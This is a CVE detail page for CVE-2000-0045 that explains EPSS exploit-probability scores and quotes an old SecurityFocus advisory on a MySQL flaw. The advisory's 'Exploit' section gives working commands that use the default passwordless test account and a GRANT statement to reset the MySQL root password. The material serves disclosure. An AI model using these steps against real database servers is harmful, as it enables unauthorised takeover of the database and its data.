CVE-2000-0045 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/926/info MySQL is a popular RDBMS used by many websites as a back-end. It is possible for users with GRANT access to change passwords for every user in the database (including the mysql superuser). MySQL also ships with a default "test" account which has GRANT privileges and is unpassworded, meaning anyone can connect to the db. These two problems combined can result in a total, remote (and probably anonymous) database compromise. The database can be compromised even if the test account is disabled (given a local user account with GRANT privs). Exploit: Connect to mysql as any user with grant privileges for any table. The default test users will do nicely. If no databases has been created for the test user, do so. Then alter roots (MySQL's roots, not the real roots!) password with a GRANT. After the code below has been executed, the password of the MySQL superuser 'root' will be 'newpassword'. > mysql -utest -p Password: mysql> CREATE DATABASE test_expl; Query OK, 1 row affected (0.04 sec) mysql> GRANT select ON test_expl.* TO root@localhost IDENTIFIED BY +'newpassword'; Query OK, 0 rows affected (0.01 sec) mysql> exit Bye
